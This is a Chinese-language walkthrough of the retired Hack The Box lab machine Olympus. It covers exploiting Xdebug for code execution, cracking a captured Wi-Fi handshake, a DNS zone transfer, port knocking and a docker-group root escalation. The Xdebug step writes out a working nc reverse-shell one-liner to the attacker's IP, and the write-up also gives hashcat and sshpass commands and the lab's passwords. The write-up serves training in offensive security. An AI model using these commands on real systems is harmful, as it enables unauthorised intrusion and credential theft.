概述 (Overview)
HOST: 10.10.10.83
OS: LINUX
发布时间: 2018-04-22
完成时间: 2021-11-16
机器作者: OscarAkaElvis
困难程度: MEDIUM
机器状态: 退休
MACHINE TAGS: #Xdebug #Wi-FiEncryption #DNSZoneTransfer #PortKnocking #DockerEscape
攻击链 (Kiillchain)
- 通过 Nmap 扫描识别目标服务器开放端口。Nmap 是一款常用的网络扫描工具,可以用来扫描目标服务器的端口,帮助攻击者识别服务器上运行的服务和可能存在的漏洞。
- 在 Web 服务返回请求数据库中发现存在 Xdebug RCE 漏洞,并成功通过该漏洞进入了目标服务器所运行的 Docker 容器中。Xdebug 是一款常用的 PHP 调试工具,但是它也存在漏洞,攻击者可以利用这些漏洞进行远程代码执行 (RCE) 攻击。Docker 容器是一种用于管理应用程序的轻量级虚拟化技术,攻击者进入了 Docker 容器后就可以对应用程序进行更多的操作。
- 在容器中发现运行有 airgeddon 项目并且保存有无线握手抓包,利用 hashcat 成功得到一组明文密码。Airgeddon 是一款无线网络攻击工具,它可以用来抓取无线握手报文并使用 hashcat 破解。Hashcat 是一款常用的密码破解工具,可以用来破解加密的密码。
- 结合内容提示和 OpenSSH 用户枚举漏洞,成功横溢至另外一个 Docker 容器。在这一步中,攻击者利用了 OpenSSH 用户枚举漏洞,这是一种常见的攻击方式,目的是在服务器上寻找存在的用户帐户,并尝试猜测用户的密码。如果猜测成功,攻击者就可以使用用户的凭证来登录服务器,并获得相应的权限。
- 在提示信息中发现存在DNS区域传送漏洞,在 TXT 记录中发现另一段提示信息其中用到了 Port Knocking 技术。DNS 区域传送漏洞是指存在漏洞的 DNS 服务器可能会将请求传送到非法的位置,导致敏感信息泄露。Port Knocking 是一种用于保护服务器的技术,它可以通过连续发送特定的端口数据包来打开服务器的端口,从而使得服务器可以被访问。
- 最终使用 Port Knocking 和提示中的账号密码登录目标服务器的物理环境,并使用具备的 docker 组权限完成权限提升。在这一步中,攻击者利用了 Port Knocking 技术打开了服务器的端口,并使用提示中的账号密码登录了服务器。之后,攻击者使用了 docker 组权限,可能是通过提升权限或者其他方式,获得了更高的权限。这样,攻击者就可以对服务器进行更多的操作,并达到攻击的目的。
枚举(Enumeration)
老样子,开始使用 Nmap
对目标服务进行开放端口扫描:
PORT STATE SERVICE VERSION
53/tcp open domain (unknown banner: Bind)
| fingerprint-strings:
| DNSVersionBindReqTCP:
| version
| bind
|_ Bind
| dns-nsid:
|_ bind.version: Bind
80/tcp open http Apache httpd
|_http-title: Crete island - Olympus HTB
|_http-favicon: Unknown favicon MD5: 399EAE2564C19BD20E855CDB3C0C9D1B
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache
2222/tcp open ssh (protocol 2.0)
| fingerprint-strings:
| NULL:
|_ SSH-2.0-City of olympia
| ssh-hostkey:
| 2048 f2:ba:db:06:95:00:ec:05:81:b0:93:60:32:fd:9e:00 (RSA)
| 256 79:90:c0:3d:43:6c:8d:72:19:60:45:3c:f8:99:14:bb (ECDSA)
|_ 256 f8:5b:2e:32:95:03:12:a3:3b:40:c5:11:27:ca:71:52 (ED25519)
从结果中能够得到获知到对外暴漏三个端口,部署有 DNS 解析服务和 Apache Web 服务。而 SSH 服务则是个不常见的 protocol
。
Port 80 - Apache
用浏览器访问目标服务的 80 端口,从返回的响应数据包中能够发现存在 Xdebug: 2.5.5
的 header 信息。
Xdebug 是一个开放源代码的PHP程序调试器(即一个Debug工具),可以用来跟踪,调试和分析PHP程序的运行状况。它在开发过程中非常有用,但是如果没有正确配置,它就可能存在安全风险。
立足点(Foothold)
通过查阅网上相关文章,发现当 xdebug
小于 2.5.5 版本下,存在命令执行漏洞。参见: A Tiny Attack Surface
当 xdebug.remote_connect_back
选项被设置为 true
时,Xdebug 会连接到发送请求的客户端 IP 地址,这样开发人员就可以在本地调试远程程序。
这种配置方式存在安全风险,因为如果攻击者可以欺骗客户端的 IP 地址,那么他们就可以连接到 Xdebug 服务器,并获取程序运行时的信息。这些信息可能包含敏感数据,比如数据库用户名和密码,这些数据可能被攻击者利用来破解系统的安全。
根据文章中的代码块进行利用:
在图中的标记 3 中能获取到目标服务器上执行 id 命令的结果,说明该漏洞存在,随后执行反弹 shell 成功得到立足点。
system('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|bash -i 2>&1|nc 10.10.17.64 9900 >/tmp/f')`
横向移动(Lateral Movement)
立足点的 shell 身份为 www-data
,一般权限很低。所以接下来需要想办法进行用户间的横向移动。
转到 /home/zeus/airgeddon
目录,通过输出目录文件可以看到存在 .git
、Dockerfile
等文件名,说明可能存在容器运行的服务或者代码仓库。
...snip... drwxr-xr-x 1 zeus zeus 4.0K Apr 8 2018 .git ...snip... -rw-r--r-- 1 zeus zeus 3.3K Apr 8 2018 Dockerfile ...snip... -rw-r--r-- 1 zeus zeus 291K Apr 8 2018 airgeddon.sh drwxr-xr-x 1 zeus zeus 4.0K Apr 8 2018 binaries drwxr-xr-x 1 zeus zeus 4.0K Apr 8 2018 captured drwxr-xr-x 1 zeus zeus 4.0K Apr 8 2018 imgs -rw-r--r-- 1 zeus zeus 16K Apr 8 2018 known_pins.db -rw-r--r-- 1 zeus zeus 670K Apr 8 2018 language_strings.sh -rw-r--r-- 1 zeus zeus 33 Apr 8 2018 pindb_checksum.txt
查看 .git 中的配置文件,排除了目标服务器存在自建带代码仓库的可能。随后通过查看本地 IP,网卡中并没有 10.10.10.83
这个地址,一般这种情况说明当前处于 Docker
容器里。
www-data@f00ba96171c5:/home/zeus/airgeddon$ ifconfig eth0 Link encap:Ethernet HWaddr 02:42:ac:14:00:02 inet addr:172.20.0.2 Bcast:172.20.255.255 Mask:255.255.0.0 UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 RX packets:955158 errors:0 dropped:0 overruns:0 frame:0 TX packets:925202 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:0 RX bytes:149243226 (142.3 MiB) TX bytes:397098628 (378.7 MiB) lo Link encap:Local Loopback inet addr:127.0.0.1 Mask:255.0.0.0 UP LOOPBACK RUNNING MTU:65536 Metric:1 RX packets:2245 errors:0 dropped:0 overruns:0 frame:0 TX packets:2245 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:1 RX bytes:175729 (171.6 KiB) TX bytes:175729 (171.6 KiB) www-data@f00ba96171c5:/home/zeus/airgeddon$
浏览 github 上的 airgeddon 项目,了解到它是一款 bash 编写的用于无线审计项目,可以和 aircrack-ng 应用一样用于破解无线密码握手包。其中在 captured 目录中找到同名的 .cap
文件( .cap 文件扩展名主要代表Wireshark数据包捕获 .cap 文件类型和格式)。
将它传递至本地用 aircrack-ng 读取验证一下,发现存在一个有效的无线网络信息。
直接使用 aircrack-ng 结合字典来破解速度较慢,所以需要结合 hcxpcapngtool 、hashcat 来进行快速的密码枚举。
$ apt install hcxtools $ hcxpcapngtool -o captured captured.cap $ hashcat -a 0 -m 22000 captured --force /usr/share/wordlists/rockyou.txt
等待一段时间后成功得到无线连接的明文密码:flightoficarus
但接下来容器内的权限提升失败了,提示这个密码错误。
在这里中断了很久,最后根据 ssh 版本指纹信息找到了用户枚举漏洞
OpenSSH < 7.7 - Username Enumeration Exploit - CVE-2018-15473 https://github.com/epi052/cve-2018-15473.git
但是跑了一波字典后没有任何多余的收获,只能接着找其他信息了。
注意到有一个 papyrus.txt 文件,输出内容为:
$ cat papyrus.txt
Captured while flying. I'll banish him to Olympia - Zeus
结合 宙斯
、奥林匹克
等信息,猜测用户名可能是希腊神话中的一个,果然通过枚举验证存在 icarus
用户。但密码这里出现了问题,也不是 flightoficarus
。心态炸裂…
最后还是在官方的论坛里找到了提示,使用 Too_cl0se_to_th3_Sun
作为密码完成了 SSH 登录,成功登录进了另外一台 Docker 容器。
sshpass -p 'Too_cl0se_to_th3_Sun' ssh icarus@10.10.10.83 -p2222
权限提升(Privilege Escalation)
首先查看了下 hosts 文件,邦的 IP 与 hostname 指向的都是自己,而运行 Web 服务的那个容器 hostname 则是 f00ba96171c5
IP是 172.20.0.2
,说明我们正在另外一台容器中。
icarus@620b296204a3:/home$ cat /etc/hosts
127.0.0.1 localhost
::1 localhost ip6-localhost ip6-loopback
fe00::0 ip6-localnet
ff00::0 ip6-mcastprefix
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
172.19.0.2 620b296204a3
icarus@620b296204a3:/home$ hostname
620b296204a3
我首先将 pspy 传递至容器中,想查看是否存有定时任务在后台运行,结果什么都没发现。
因为容器的体积很小所以一般是没有安装 ip、ifconfig 这类命令的,所以这里我参考 IPPSEC 以前视频中出现过的信息收集方式,通过查看 /proc/net/tcp
获取:
但这两个端口对我们来说没什么用,22 端口是映射的外部 2222 端口,37265 端口暂时未知。接着收集信息,在 /opt/static-binaries/binaries/
目录下发现一段提示内容:
该用 wget 命令请求了下 172.20.0.1 ,检查下是否存在 Web 服务(请求 172.20.0.1 是为了验证物理机是否部署了 Web 服务,Docker 一般将容器机的网络首地址作为与物理机交互的地址)。
icarus@620b296204a3:~$ cat help_of_the_gods.txt
Athena goddess will guide you through the dark...
Way to Rhodes...
ctfolympus.htb
首先通过 dig 去验证下 ctfolympus.htb 域名是否存在,发现采用 axfr
记录查询返回了很多域名,这种也叫DNS区域传送漏洞(很早就知道这个,但在正式的生产环境中我一次都没遇到过)。
仔细观察,在 DNS 解析记录 TXT
中存在一段有意思的提示:
"prometheus, open a temporal portal to Hades (3456 8234 62431) and St34l_th3_F1re!"
也是第一时间没看懂,去官方论坛中寻找解析后才知道这里用到了 Port Knocking
技术。
Port Knocking 是一种防火墙隐藏端口的技术,攻击者可以通过发送特定的网络数据包来打开隐藏的端口。
这种技术也用在一些特殊的防火墙、后门上,当我们依次扫描 3456、8234、62431 端口后,服务器上的 22 端口 SSH 服务将会被启动:
for x in 3456 8234 62431 22; do nmap -Pn --max-retries 0 -p $x 10.10.10.83; done
使用 prometheus : St34l_th3_F1re!
账户成功登录目标服务器:
OK,已经成功处于容器外了,而且在 id
命令的结果中看到存在 docker 组权限。
这就简单了呀,我们只需要找到一个空容器,将根目录进行目录挂载就可以对目标服务器中任意内容进行读取、更改。
复盘
对希腊神话中的名称进行大小写转换,用到的是 tr 命令
- tr 命令可以对来自标准输入的字符进行替换、压缩和删除。它可以将一组字符变成另一组字符,经常用来编写优美的单行命令,作用很强大。(将输入字符由大写转换为小写)